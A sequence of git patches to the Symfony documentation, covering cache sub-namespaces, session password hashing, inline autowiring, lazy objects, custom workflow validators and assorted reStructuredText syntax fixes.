-   compare the password of the refreshed user after crc32c-hashing it. This is a good
-   strategy if you use hashed passwords since it allows invalidating concurrent
-   sessions when a password changes without storing the password hash in the session.
-
-   Here is an example of how to implement this, assuming the password is found in a
-   private property named ``password``::
+Storing the (plain or hashed) password in the session can be a security risk.
+To mitigate this, implement the ``__serialize()`` magic method in your user class
+to exclude or transform the password before storing the serialized user object
+in the session.
+
+Two strategies are supported:
+
+#. Remove the password completely. After unserialization, ``getPassword()`` returns
+   ``null`` and Symfony refreshes the user without checking the password. Use this
+   only if you store plaintext passwords (not recommended).
+#. Hash the password using the ``crc32c`` algorithm. Symfony will hash the password
+   of the refreshed user and compare it to the session value. This approach avoids
+   storing the real hash and lets you invalidate sessions on password change.
+
+   Example (assuming the password is stored in a private property called ``password``)::
 
        public function __serialize(): array
        {
@@ -2804,6 +2803,11 @@ Two strategies are supported while serializing:
            return $data;
        }
 
+.. versionadded:: 7.3
+
+    Support for hashing passwords with ``crc32c`` in session serialization was
+    introduced in Symfony 7.3.
+
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 

From e899545ee62e4954ef4d35d06f46a42e5b659df5 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 16:18:59 +0200
Subject: [PATCH 6973/7107] [Cache] Tell about namespace-based invalidation

---
 components/cache.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/components/cache.rst b/components/cache.rst
index 4873fb7abc7..e2bce1cf812 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -84,6 +84,33 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+Creating Sub-Namespaces
+-----------------------
+
+All cache adapters provided by the component implement the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method
+from the :class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`.
+
+.. versionadded:: 7.3
+
+   Support for ``NamespacedPoolInterface`` was added in Symfony 7.3.
+
+This method allows namespacing cached items by transparently prefixing their keys::
+
+    $subCache = $cache->withSubNamespace('foo');
+
+    $subCache->get('my_cache_key', function (ItemInterface $item): string {
+        $item->expiresAfter(3600);
+
+        return '...';
+    });
+
+In this example, cache item keyed ``my_cache_key`` will be transparently stored within
+the cache pool under a logical namespace called ``foo``.
+
+Sub-namespacing allows implementing namespace-based cache invalidation, where the name
+of a namespace is computed by hashing some context info.
+
 .. _cache_stampede-prevention:
 
 Stampede Prevention

From daad10ca8112f82376deb6cfe5e3e6790de0a2df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 May 2025 09:12:55 +0200
Subject: [PATCH 6974/7107] Tweaks

---
 components/cache.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index e2bce1cf812..3c124c7d85e 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -87,14 +87,13 @@ generate and return the value::
 Creating Sub-Namespaces
 -----------------------
 
-All cache adapters provided by the component implement the
-:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method
-from the :class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`.
-
 .. versionadded:: 7.3
 
-   Support for ``NamespacedPoolInterface`` was added in Symfony 7.3.
+   Cache sub-namespaces were introduced in Symfony 7.3.
 
+All cache adapters provided by the component implement the
+:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface` to provide the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method.
 This method allows namespacing cached items by transparently prefixing their keys::
 
     $subCache = $cache->withSubNamespace('foo');
@@ -105,11 +104,17 @@ This method allows namespacing cached items by transparently prefixing their key
         return '...';
     });
 
-In this example, cache item keyed ``my_cache_key`` will be transparently stored within
-the cache pool under a logical namespace called ``foo``.
+In this example, the cache item will use the ``my_cache_key`` key, but it will be
+stored internally under the ``foo`` namespace. This is handled transparently for
+you, so you **don't** need to manually prefix keys like ``foo.my_cache_key``.
+
+This is useful when using namespace-based cache invalidation to isolate or
+invalidate a subset of cached data based on some context. Typical examples
+include namespacing by user ID, locale, or entity ID and hash::
 
-Sub-namespacing allows implementing namespace-based cache invalidation, where the name
-of a namespace is computed by hashing some context info.
+    $userCache = $cache->withSubNamespace((string) $userId);
+    $localeCache = $cache->withSubNamespace($request->getLocale());
+    $productCache = $cache->withSubNamespace($productId.'_'.$productChecksum);
 
 .. _cache_stampede-prevention:
 

From 849acdebaae132db61e2ede92be3f2c21718bdfc Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 17:08:31 +0200
Subject: [PATCH 6975/7107] [DI] Tell about #[AutowireInline]

---
 service_container/autowiring.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 32688fd4921..d76622db281 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -862,6 +862,38 @@ typed properties:
             }
         }
 
+Autowiring Anonymous Services Inline
+------------------------------------
+
+.. versionadded:: 7.1
+
+   The ``#[AutowireInline]`` attribute was added in Symfony 7.1.
+
+Similar to how one can define anonymous services inline using configuration files,
+the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireInline`
+attribute allows declaring anonymous services inline next to their corresponding
+arguments::
+
+    public function __construct(
+        #[AutowireInline(
+            factory: [ScopingHttpClient::class, 'forBaseUri'],
+            arguments: [
+                '$baseUri' => 'https://api.example.com',
+                '$defaultOptions' => [
+                    'auth_bearer' => '%env(EXAMPLE_TOKEN)%',
+                ],
+            ]
+        )]
+        private HttpClientInterface $client,
+    ) {
+    }
+
+As you might have already figured out, this declaration instructs Symfony to inject an
+object created by calling the ``ScopingHttpClient::forBaseUri()`` factory with the
+configured base URI and default options.
+
+Of course, this is just an example and this attribute can be used to construct any kind of objects.
+
 Autowiring Controller Action Methods
 ------------------------------------
 

From 7253f1bef0f23c788e83b5d7b36eace90073386f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 May 2025 09:30:26 +0200
Subject: [PATCH 6976/7107] Minor tweaks

---
 service_container/autowiring.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d76622db281..ea1bf1b12ff 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -869,10 +869,10 @@ Autowiring Anonymous Services Inline
 
    The ``#[AutowireInline]`` attribute was added in Symfony 7.1.
 
-Similar to how one can define anonymous services inline using configuration files,
+Similar to how anonymous services can be defined inline in configuration files,
 the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireInline`
-attribute allows declaring anonymous services inline next to their corresponding
-arguments::
+attribute allows you to declare anonymous services inline, directly next to their
+corresponding arguments::
 
     public function __construct(
         #[AutowireInline(
@@ -888,11 +888,13 @@ arguments::
     ) {
     }
 
-As you might have already figured out, this declaration instructs Symfony to inject an
-object created by calling the ``ScopingHttpClient::forBaseUri()`` factory with the
-configured base URI and default options.
+This example tells Symfony to inject an object created by calling the
+``ScopingHttpClient::forBaseUri()`` factory with the specified base URI and
+default options. This is just one example: you can use the ``#[AutowireInline]``
+attribute to define any kind of anonymous service.
 
-Of course, this is just an example and this attribute can be used to construct any kind of objects.
+While this approach is convenient for simple service definitions, consider moving
+complex or heavily configured services to a configuration file to ease maintenance.
 
 Autowiring Controller Action Methods
 ------------------------------------

From 5de8d6ba7f95c16a7cfea69e540f363927e8f7f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 May 2025 17:20:51 +0200
Subject: [PATCH 6977/7107] Minor tweaks

---
 components/var_exporter.rst | 56 ++++++++++++++++++-------------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index dc83763d579..c7ec9cd90d0 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,53 +177,53 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-Creating Lazy Objects on PHP ≥ 8.4
-----------------------------------
+Creating Lazy Objects
+---------------------
 
-Since version 8.4, PHP provides support for lazy objects via the reflection API.
-This native API works with concrete classes. It doesn't with abstracts nor with
-internal ones.
+Lazy objects are objects instantiated empty and populated on demand. This is
+particularly useful when, for example, a class has properties that require
+heavy computation to determine their values. In such cases, you may want to
+trigger the computation only when the property is actually accessed. This way,
+the expensive processing is avoided entirely if the property is never used.
 
-This components provides helpers to generate lazy objects using the decorator
-pattern, which works with abstract or internal classes and with interfaces::
+Since version 8.4, PHP provides support for lazy objects via the reflection API.
+This native API works with concrete classes, but not with abstract or internal ones.
+This component provides helpers to generate lazy objects using the decorator
+pattern, which also works with abstract classes, internal classes, and interfaces::
 
     $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(SomeInterface::class));
-    // $proxyCode should be dumped into a file in production envs
+    // $proxyCode should be dumped into a file in production environments
     eval('class ProxyDecorator'.$proxyCode);
 
     $proxy = ProxyDecorator::createLazyProxy(initializer: function (): SomeInterface {
-        // [...] Use whatever heavy logic you need here
+        // use whatever heavy logic you need here
         // to compute the $dependencies of the proxied class
         $instance = new SomeHeavyClass(...$dependencies);
-        // [...] Call setters, etc. if needed
+        // call setters, etc. if needed
 
         return $instance;
     });
 
 Use this mechanism only when native lazy objects cannot be leveraged
-(or you'll get a deprecation notice.)
+(otherwise you'll get a deprecation notice).
 
-Creating Lazy Objects on PHP < 8.3
-----------------------------------
+Legacy Creation of Lazy Objects
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Lazy-objects are objects instantiated empty and populated on-demand. This is
-particularly useful when you have for example properties in your classes that
-requires some heavy computation to determine their value. In this case, you
-may want to trigger the property's value processing only when you actually need
-its value. Thanks to this, the heavy computation won't be done if you never use
-this property. The VarExporter component is bundled with two traits helping
-you implement such mechanism easily in your classes.
+When using a PHP version earlier than 8.4, native lazy objects are not available.
+In these cases, the VarExporter component provides two traits that help you
+implement lazy-loading mechanisms in your classes.
 
 .. _var-exporter_ghost-objects:
 
 LazyGhostTrait
-~~~~~~~~~~~~~~
+..............
 
 .. deprecated:: 7.3
 
-   ``LazyGhostTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
-   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
-   to help with the transition.)
+    ``LazyGhostTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy
+    objects instead. Note that using the trait with PHP versions earlier than 8.4
+    does not trigger a deprecation, to ease the transition.
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
@@ -303,13 +303,13 @@ of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 .. _var-exporter_virtual-proxies:
 
 LazyProxyTrait
-~~~~~~~~~~~~~~
+..............
 
 .. deprecated:: 7.3
 
-   ``LazyProxyTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
-   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
-   to help with the transition.)
+    ``LazyProxyTrait`` is deprecated since Symfony 7.3. Use PHP 8.4's native lazy
+    objects instead. Note that using the trait with PHP versions earlier than 8.4
+    does not trigger a deprecation, to ease the transition.
 
 The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is

From fc017846c4b5ecf1faf728b1f709fa7fef7ff901 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Santiago=20San=20Mart=C3=ADn?= <sanmartindev@gmail.com>
Date: Wed, 14 May 2025 22:35:37 -0300
Subject: [PATCH 6978/7107] [Validator] avoid broken rendering of inline types
 in UniqueEntity

This PR fixes an issue in the documentation where inline type annotations like | ``string`` | were not rendering correctly due to reStructuredText interpreting the | characters as substitution references.

Changes:
Replaced | ``string`` | with a more reliable format: boolean, string or array

Ensures consistent rendering across Sphinx and other reST parsers

This improves readability and avoids confusion when displaying valid type options in inline documentation.
---
 reference/constraints/UniqueEntity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2c9aeccd755..0e1731371a5 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -277,7 +277,7 @@ each with a single field.
 ``ignoreNull``
 ~~~~~~~~~~~~~~
 
-**type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
+**type**: ``boolean``, ``string`` or ``array`` **default**: ``true``
 
 If this option is set to ``true``, then the constraint will allow multiple
 entities to have a ``null`` value for a field without failing validation.

From 90e7bf98639ce9bbd6b60e5f4a7df47d5dc87e10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 08:18:51 +0200
Subject: [PATCH 6979/7107] Fix some content with wrong RST syntax

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e12c321b1fa..83cbc0e1135 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3053,7 +3053,7 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int|array<int, string>`` **default**: ``%kernel.debug%``
+**type**: ``boolean``, ``int`` or ``array<int, string>`` **default**: ``%kernel.debug%``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it defines a bitmask of PHP errors that will

From d2ac2ef0aea39441caa2fd871f890590915327f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 12:56:12 +0200
Subject: [PATCH 6980/7107] [DependencyInjection] Fix a RST syntax issue

---
 components/dependency_injection.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 93e8af711cf..d146f553a0c 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -180,16 +180,16 @@ You can override this behavior as follows::
 
 These are all the possible behaviors:
 
- * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
-   at compile time (this is the **default** behavior);
- * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
-   exception at runtime, when trying to access the missing service;
- * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
- * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
-   command asking for the reference (for instance, ignore a setter if the service
-   does not exist);
- * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
-   ``null`` for uninitialized services or invalid references.
+* ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
+  at compile time (this is the **default** behavior);
+* ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
+  exception at runtime, when trying to access the missing service;
+* ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
+* ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
+  command asking for the reference (for instance, ignore a setter if the service
+  does not exist);
+* ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
+  ``null`` for uninitialized services or invalid references.
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------

From 5ad20ab99619534ee744c0efc2498fe878536bc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 May 2025 15:27:25 +0200
Subject: [PATCH 6981/7107] [Cache] Improve the docs about cache namespaces

---
 cache.rst            |  2 ++
 components/cache.rst | 59 +++++++++++++++++++++++++++++++++-----------
 2 files changed, 47 insertions(+), 14 deletions(-)

diff --git a/cache.rst b/cache.rst
index 83bb5b4cedc..35f1404d42a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -539,6 +539,8 @@ Symfony stores the item automatically in all the missing pools.
             ;
         };
 
+.. _cache-using-cache-tags:
+
 Using Cache Tags
 ----------------
 
diff --git a/components/cache.rst b/components/cache.rst
index 3c124c7d85e..b476b23e313 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -91,30 +91,61 @@ Creating Sub-Namespaces
 
    Cache sub-namespaces were introduced in Symfony 7.3.
 
-All cache adapters provided by the component implement the
-:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface` to provide the
-:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method.
-This method allows namespacing cached items by transparently prefixing their keys::
+Sometimes you need to create context-dependent variations of data that should be
+cached. For example, the data used to render a dashboard page may be expensive
+to generate and unique per user, so you can't cache the same data for everyone.
 
-    $subCache = $cache->withSubNamespace('foo');
+In such cases, Symfony allows you to create different cache contexts using
+namespaces. A cache namespace is an arbitrary string that identifies a set of
+related cache items. All cache adapters provided by the component implement the
+:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`, which provides the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace`
+method.
 
-    $subCache->get('my_cache_key', function (ItemInterface $item): string {
+This method allows you to namespace cached items by transparently prefixing their keys::
+
+    $userCache = $cache->withSubNamespace(sprintf('user-%d', $user->getId()));
+
+    $userCache->get('dashboard_data', function (ItemInterface $item): string {
         $item->expiresAfter(3600);
 
         return '...';
     });
 
-In this example, the cache item will use the ``my_cache_key`` key, but it will be
-stored internally under the ``foo`` namespace. This is handled transparently for
-you, so you **don't** need to manually prefix keys like ``foo.my_cache_key``.
+In this example, the cache item uses the ``dashboard_data`` key, but it will be
+stored internally under a namespace based on the current user ID. This is handled
+automatically, so you **don’t** need to manually prefix keys like ``user-27.dashboard_data``.
 
-This is useful when using namespace-based cache invalidation to isolate or
-invalidate a subset of cached data based on some context. Typical examples
-include namespacing by user ID, locale, or entity ID and hash::
+There are no guidelines or restrictions on how to define cache namespaces.
+You can make them as granular or as generic as your application requires:
 
-    $userCache = $cache->withSubNamespace((string) $userId);
     $localeCache = $cache->withSubNamespace($request->getLocale());
-    $productCache = $cache->withSubNamespace($productId.'_'.$productChecksum);
+
+    $flagCache = $cache->withSubNamespace(
+        $featureToggle->isEnabled('new_checkout') ? 'checkout-v2' : 'checkout-v1'
+    );
+
+    $channel = $request->attributes->get('_route')?->startsWith('api_') ? 'api' : 'web';
+    $channelCache = $cache->withSubNamespace($channel);
+
+.. tip::
+
+    You can even combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
+    for more advanced needs.
+
+There is no built-in way to invalidate caches by namespace. Instead, the recommended
+approach is to change the namespace itself. For this reason, it's common to include
+static or dynamic versioning data in the cache namespace::
+
+    // for simple applications, an incrementing static version number may be enough
+    $userCache = $cache->withSubNamespace(sprintf('v1-user-%d', $user->getId()));
+
+    // other applications may use dynamic versioning based on the date (e.g. monthly)
+    $userCache = $cache->withSubNamespace(sprintf('%s-user-%d', date('Ym'), $user->getId()));
+
+    // or even invalidate the cache when the user data changes
+    $checksum = hash('xxh128', $user->getUpdatedAt()->format(DATE_ATOM));
+    $userCache = $cache->withSubNamespace(sprintf('user-%d-%s', $user->getId(), $checksum));
 
 .. _cache_stampede-prevention:
 

From e0fcd1c3bd46b7bca6bd4a1eeb7e3c687d0d3cf6 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 15 May 2025 15:20:18 +0200
Subject: [PATCH 6982/7107] [Workflow] Document custom workflow definition
 validator

---
 workflow.rst | 79 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 11b4005bb10..544f775cce0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1306,6 +1306,85 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
         </ul>
     </p>
 
+Adding Custom Definition Validators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, you may want to add custom logics to validate your workflow definition.
+To do this, you need to implement the
+:class:`Symfony\\Component\\Workflow\\Validator\\DefinitionValidatorInterface`::
+
+    namespace App\Workflow\Validator;
+
+    use Symfony\Component\Workflow\Definition;
+    use Symfony\Component\Workflow\Exception\InvalidDefinitionException;
+    use Symfony\Component\Workflow\Validator\DefinitionValidatorInterface;
+
+    final class BlogPublishingValidator implements DefinitionValidatorInterface
+    {
+        public function validate(Definition $definition, string $name): void
+        {
+            if (!$definition->getMetadataStore()->getMetadata('title')) {
+                throw new InvalidDefinitionException(sprintf('The workflow metadata title is missing in Workflow "%s".', $name));
+            }
+        }
+    }
+
+Once your definition validator is implemented, you can configure your workflow to use
+it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ... previous configuration
+
+                    definition_validators:
+                        - App\Workflow\Validator\BlogPublishingValidator
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... previous configuration -->
+                    <framework:definition-validators>App\Workflow\Validator\BlogPublishingValidator</framework:definition-validators>
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->definitionValidators([
+                App\Workflow\Validator\BlogPublishingValidator::class
+            ]);
+
+            // ...
+        };
+
+The ``BlogPublishingValidator`` definition validator will be executed during the container compilation.
+
+.. versionadded:: 7.3
+
+    Support for defining custom workflow definition validators was introduced in Symfony 7.3.
+
 Learn more
 ----------
 

From c32e885e529bc423bacedd93b8949314453642b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 15 May 2025 17:35:57 +0200
Subject: [PATCH 6983/7107] [WebLink] Hint that prerender is deprecated

---
 web_link.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 8602445313f..79fd51b8d02 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -146,7 +146,8 @@ The WebLink component provides the following Twig functions to send those hints:
 * ``prefetch()``: "identifies a resource that might be required by the next
   navigation, and that the user agent *should* fetch, such that the user agent
   can deliver a faster response once the resource is requested in the future".
-* ``prerender()``: "identifies a resource that might be required by the next
+* ``prerender()``: " **deprecated** and superseded by the `Speculation Rules API`_,
+  identifies a resource that might be required by the next
   navigation, and that the user agent *should* fetch and execute, such that the
   user agent can deliver a faster response once the resource is requested later".
 
@@ -206,3 +207,4 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`Akamai`: https://http2.akamai.com/
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/
+.. _`Speculation Rules API`: https://developer.mozilla.org/docs/Web/API/Speculation_Rules_API

From e228ab6178987867ea65dce15acb8e3de311f5bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 08:09:04 +0200
Subject: [PATCH 6984/7107] Minor tweaks

---
 components/cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index b476b23e313..44c08920a1e 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -114,7 +114,7 @@ This method allows you to namespace cached items by transparently prefixing thei
 
 In this example, the cache item uses the ``dashboard_data`` key, but it will be
 stored internally under a namespace based on the current user ID. This is handled
-automatically, so you **don’t** need to manually prefix keys like ``user-27.dashboard_data``.
+automatically, so you **don't** need to manually prefix keys like ``user-27.dashboard_data``.
 
 There are no guidelines or restrictions on how to define cache namespaces.
 You can make them as granular or as generic as your application requires:
@@ -130,7 +130,7 @@ You can make them as granular or as generic as your application requires:
 
 .. tip::
 
-    You can even combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
+    You can combine cache namespaces with :ref:`cache tags <cache-using-cache-tags>`
     for more advanced needs.
 
 There is no built-in way to invalidate caches by namespace. Instead, the recommended

From 4b8a58cfee6cd87fcae7df58f28ccb47a0534830 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 08:56:43 +0200
Subject: [PATCH 6985/7107] Fix a minor synmtax issue

---
 components/cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache.rst b/components/cache.rst
index 44c08920a1e..44ba8b5c151 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -117,7 +117,7 @@ stored internally under a namespace based on the current user ID. This is handle
 automatically, so you **don't** need to manually prefix keys like ``user-27.dashboard_data``.
 
 There are no guidelines or restrictions on how to define cache namespaces.
-You can make them as granular or as generic as your application requires:
+You can make them as granular or as generic as your application requires::
 
     $localeCache = $cache->withSubNamespace($request->getLocale());
 

From db089701221d929afd3e2fb1dc820148d5e15031 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Fri, 16 May 2025 10:50:33 +0200
Subject: [PATCH 6986/7107] fix typo "a unsubstantial" -> "an unsubstantial"

---
 contributing/core_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 7b3d667a14b..d776cd4ed93 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -197,7 +197,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
+* It is an :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
 * Enough time was given for peer reviews;
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core

From 74ee9c8e8de3c7dd37c49701c62213d93675d1f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 May 2025 09:38:16 +0200
Subject: [PATCH 6987/7107] Use DOCtor-RST 1.68.0

---
 .doctor-rst.yaml                                           | 1 +
 .github/workflows/ci.yaml                                  | 2 +-
 best_practices.rst                                         | 2 +-
 components/config/caching.rst                              | 2 +-
 contributing/code_of_conduct/code_of_conduct.rst           | 6 +++---
 contributing/code_of_conduct/concrete_example_document.rst | 2 +-
 contributing/community/review-comments.rst                 | 2 +-
 contributing/diversity/further_reading.rst                 | 6 +++---
 http_client.rst                                            | 2 +-
 scheduler.rst                                              | 2 +-
 10 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e804e4485f..4c3947e4d29 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -49,6 +49,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    no_typographic_quotes: ~
     non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 497dfd9b430..fa36efbcbcf 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.67.0
+                uses: docker://oskarstark/doctor-rst:1.68.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/best_practices.rst b/best_practices.rst
index b887d4d289a..6211d042f0b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -95,7 +95,7 @@ Use Secrets for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When your application has sensitive configuration, like an API key, you should
-store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.
+store those securely via :doc:`Symfony's secrets management system </configuration/secrets>`.
 
 Use Parameters for Application Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/components/config/caching.rst b/components/config/caching.rst
index 810db48107e..f30128a5f9d 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -3,7 +3,7 @@ Caching based on Resources
 
 When all configuration resources are loaded, you may want to process the
 configuration values and combine them all in one file. This file acts
-like a cache. Its contents don’t have to be regenerated every time the
+like a cache. Its contents don't have to be regenerated every time the
 application runs – only when the configuration resources are modified.
 
